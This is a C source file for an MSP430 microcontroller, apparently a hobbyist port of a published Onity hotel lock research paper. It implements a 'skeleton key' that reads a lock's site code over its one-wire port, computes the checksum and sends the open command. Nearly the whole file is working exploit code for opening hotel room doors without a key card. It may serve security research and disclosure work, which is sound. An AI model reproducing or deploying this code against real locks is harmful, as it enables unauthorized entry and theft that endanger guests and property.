/* OSK - Onity Skeleton Key * * This is an implementation of the open door hack as described on * http://demoseen.com/bhpaper.html * * Rather than port the arduino code I started from scratch and * attempted to follow the procedure as outline on the paper. * * Update: * v0.2 - I reworeked the onewire library to match the work done by Daeken. * Also, added sync pulses after group delivery. * * v0.3 - Most software changes in v0.3 were to match the physical changes * made--switched from internal pull-up to a 5k external pull up. * * v0.4 - Realized I made a mistake with binary values and endianness. * I went through and reversed all my 0bXXXXXXXX values. * * Special thanks to David Siroky for the wonderful * msp430 OneWire library. * */ #include #include "delay.h" #include "onewire.h" #define COMM BIT0 #define LED BIT7 int main() { int i, j; unsigned char buf[15]; /* stop watchdog */ WDTCTL = WDTPW + WDTHOLD; /* load calibration settings */ BCSCTL1 = CALBC1_16MHZ; DCOCTL = CALDCO_16MHZ; /* setup the LED */ P1DIR |= LED; /* turn on the LED to let user know MCU is running */ P1OUT |= LED; /* setup one wire comm */ onewire_t ow; ow.port_out = &P1OUT; ow.port_in = &P1IN; ow.port_ren = &P1REN; ow.port_dir = &P1DIR; ow.pin = COMM; /* power up delay, just to make sure everything is settled */ DELAY_US(20); /* begin communication */ /* special note: when entering bytes as binary numbers like 0b00001000 * They have to be reversed as human read / math numbers are big endian * however this MCU and the lock are both little-endian */ /* send read command */ for(i=0; i < 5; i++) onewire_write_byte(&ow, 0b00000000); onewire_write_byte(&ow, 0b11000101); onewire_write_byte(&ow, 0b00000111); onewire_write_byte(&ow, 0b10000100); onewire_write_byte(&ow, 0b11001000); for(i=0; i < 4; i++) onewire_write_bit(&ow, 0); /* send trailing sync pulse */ onewire_line_low(&ow); DELAY_US(20); onewire_line_high(&ow); /* wait for lock to tell us it's ready to send */ onewire_line_release(&ow); DELAY_US(20); while( ! (ow.pin & *(ow.port_in))) nop(); /* ready to receive data */ for(i=0; i<50; i++) /* skip 50 bits are junk, read and discard */ onewire_read_bit(&ow); for(i=0; i<4; i++) /* actual data, 16 bytes spaced with a bit in between */ { buf[i] = onewire_read_byte(&ow); onewire_read_bit(&ow); /* read and discard spacer bit */ } /* read remaining 78 bits */ for(i=0; i<78; i++) onewire_read_bit(&ow); /* send trailing sync pulse */ onewire_line_low(&ow); DELAY_US(20); onewire_line_high(&ow); /* conservative delay after reading the site code group */ DELAY_US(2700); /* the site code is in the 1st, 2nd, 3rd, and 4th bytes. * the rest doesn't matter so we'll use the 5th byte of buf to * store the checksum */ buf[4] = buf[0] ^ buf[1] ^ buf[2] ^ buf[3] ^ 0xDD; /* xor'd with magic 0xdd */ /* we have the site code. now let's send the open command. * the open command consists of several groups that need to * be spaced out by 2700 microseconds */ /* first group */ for(i=0; i<40; i++) onewire_write_bit(&ow, 0); onewire_write_byte(&ow, 0b01000101); onewire_write_bit(&ow, 0); onewire_write_bit(&ow, 1); for(i=0; i<4; i++) { onewire_write_byte(&ow, buf[i]); /* send sitecode byte */ onewire_write_bit(&ow, 1); /* send spacer bit */ } onewire_write_byte(&ow, buf[4]); /* send checksum byte (not followed by spacer bit) */ for(i=0; i<50; i++) onewire_write_bit(&ow, 0); /* send trailing sync pulse */ onewire_line_low(&ow); DELAY_US(20); onewire_line_high(&ow); DELAY_US(2700); /* the next 9 groups are each 49 zeroes. no really. */ for(i=0; i<9; i++) { for(j=0; j<49; j++) onewire_write_bit(&ow, 0); /* send trailing sync pulse */ onewire_line_low(&ow); DELAY_US(20); onewire_line_high(&ow); DELAY_US(2700); } /* final group for open command */ for(i=0; i<40; i++) onewire_write_bit(&ow, 0); onewire_write_byte(&ow, 0b01011001); onewire_write_byte(&ow, 0b01001111); onewire_write_bit(&ow, 1); onewire_write_bit(&ow, 0); /* send trailing sync pulse */ onewire_line_low(&ow); DELAY_US(20); onewire_line_high(&ow); /* blink LED to let user know MCU is done running */ for(;;) { P1OUT ^= LED; DELAY_MS(500); } }